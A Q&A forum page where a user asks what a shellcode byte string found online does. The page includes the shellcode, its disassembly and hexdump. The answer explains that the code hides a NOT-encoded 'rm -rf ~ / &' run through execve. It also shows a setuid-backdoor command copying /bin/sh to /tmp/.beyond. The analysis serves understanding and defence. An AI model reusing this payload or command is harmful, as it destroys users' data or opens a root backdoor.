1

On this website, I found the following code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

I replaced the character with ", removed trailing \ and put decoded it into a file. Here's what it disassembles to:

00000000  EB3E              jmp short 0x40
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  50                push eax
00000006  54                push esp
00000007  5A                pop edx
00000008  83EC64            sub esp,byte +0x64
0000000B  68FFFFFFFF        push dword 0xffffffff
00000010  68DFD0DFD9        push dword 0xd9dfd0df
00000015  688D99DF81        push dword 0x81df998d
0000001A  688D92DFD2        push dword 0xd2df928d
0000001F  54                push esp
00000020  5E                pop esi
00000021  F716              not dword [esi]
00000023  F75604            not dword [esi+0x4]
00000026  F75608            not dword [esi+0x8]
00000029  F7560C            not dword [esi+0xc]
0000002C  83C474            add esp,byte +0x74
0000002F  56                push esi
00000030  8D7308            lea esi,[ebx+0x8]
00000033  56                push esi
00000034  53                push ebx
00000035  54                push esp
00000036  59                pop ecx
00000037  B00B              mov al,0xb
00000039  CD80              int 0x80
0000003B  31C0              xor eax,eax
0000003D  40                inc eax
0000003E  EBF9              jmp short 0x39
00000040  E8BDFFFFFF        call dword 0x2
00000045  2F                das
00000046  62696E            bound ebp,[ecx+0x6e]
00000049  2F                das
0000004A  7368              jnc 0xb4
0000004C  00                db 0x00
0000004D  2D                db 0x2d
0000004E  6300              arpl [eax],ax

And here's a hexdump:

[17:20:46][~]$ hexdump -C /tmp/b
00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|
00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|
00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|
00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|
00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|
00000050

What is it really? I can see /bin/sh and a call to execve so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the char esp[] __attribute__ ((section(”.text”))) part).

9

It's not run in the example. It's a shellcode, it has to be somehow injected (for example using a buffer overflow vulnerability). To understand how it works, let's first put some addresses on the strings:

00000045  "/bin/sh"
0000004D  "-c"
0000004F  "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"

Let's look at the disassembly piece by piece.

00000000  EB3E              jmp short 0x40
00000002  5B                pop ebx        ; 1st argument for execve(): filename = "/bin/sh"
00000003  31C0              xor eax,eax    ; eax = 0
00000005  50                push eax       ; envp[0] = NULL, argv[3] = NULL
00000006  54                push esp
00000007  5A                pop edx        ; 3rd argument for execve(): envp = {NULL}
...
00000040  E8BDFFFFFF        call dword 0x2
00000045  "/bin/sh"
...

The jmp/call is a well known trick: the call will push the address of the following instruction to the stack. This gets popped into ebx, which now contains the address to "/bin/sh". In a system call, ebx is the first argument. Next, eax is zeroed using a xor instruction and pushed to the stack. The pointer to those four zero bytes is stored in esp, which ends up in edx (3rd argument). The envp parameter of execve() is terminated with a null pointer: no environment vars in this case. This will also be used in argv.

00000008  83EC64            sub esp,byte +0x64    ; Reserve 0x64 bytes on the stack
0000000B  68FFFFFFFF        push dword 0xffffffff ; Push 4th string word
00000010  68DFD0DFD9        push dword 0xd9dfd0df ; Push 3rd string word
00000015  688D99DF81        push dword 0x81df998d ; Push 2nd string word
0000001A  688D92DFD2        push dword 0xd2df928d ; Push 1st string word
0000001F  54                push esp
00000020  5E                pop esi             ; esi = esp
00000021  F716              not dword [esi]     ; Not 1st string word: 0x2d206d72 'rm -'
00000023  F75604            not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'
00000026  F75608            not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &'
00000029  F7560C            not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)
0000002C  83C474            add esp,byte +0x74  ; Restore esp

"rm -rf ~ / &" is pushed NOT-encoded into the stack and decoded in place. esi points to the decoded string.

0000002F  56                push esi            ; argv[2] = "rm -rf ~ / &"
00000030  8D7308            lea esi,[ebx+0x8]   ; esi = address of "-c"
00000033  56                push esi            ; argv[1] = "-c"
00000034  53                push ebx            ; argv[0] = "bin/sh"
00000035  54                push esp
00000036  59                pop ecx    ; ecx = 2nd argument for execve(): argv = {"/bin/sh", "-c", "rm -rf ~ / &", NULL}
00000037  B00B              mov al,0xb ; 11 = execve() system call
00000039  CD80              int 0x80   ; execve()

It's time to build the argv array and make the call. The previous piece of code restored esp, so whatever is pushed will be after that first 0x00000000. Piece by piece the arguments are pushed to the stack. Remember that ebx held the pointer to "/bin/sh" (7 chars + terminator), so ebx+8 will be "-c". The null word that was pushed into the stack at the very beginning of the shellcode is reused as the terminator for argv.

0000003B  31C0              xor eax,eax
0000003D  40                inc eax        ; 1 = exit() system call
0000003E  EBF9              jmp short 0x39 ; exit()

Using xor+inc eax is set to 1, which is system call exit(). It then jumps to the int 0x80 instruction and exit() is called.

  • Ah, not-encoding! I never heard of it before and was expecting something more complicated. Thanks! – d33tah May 10 '15 at 20:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.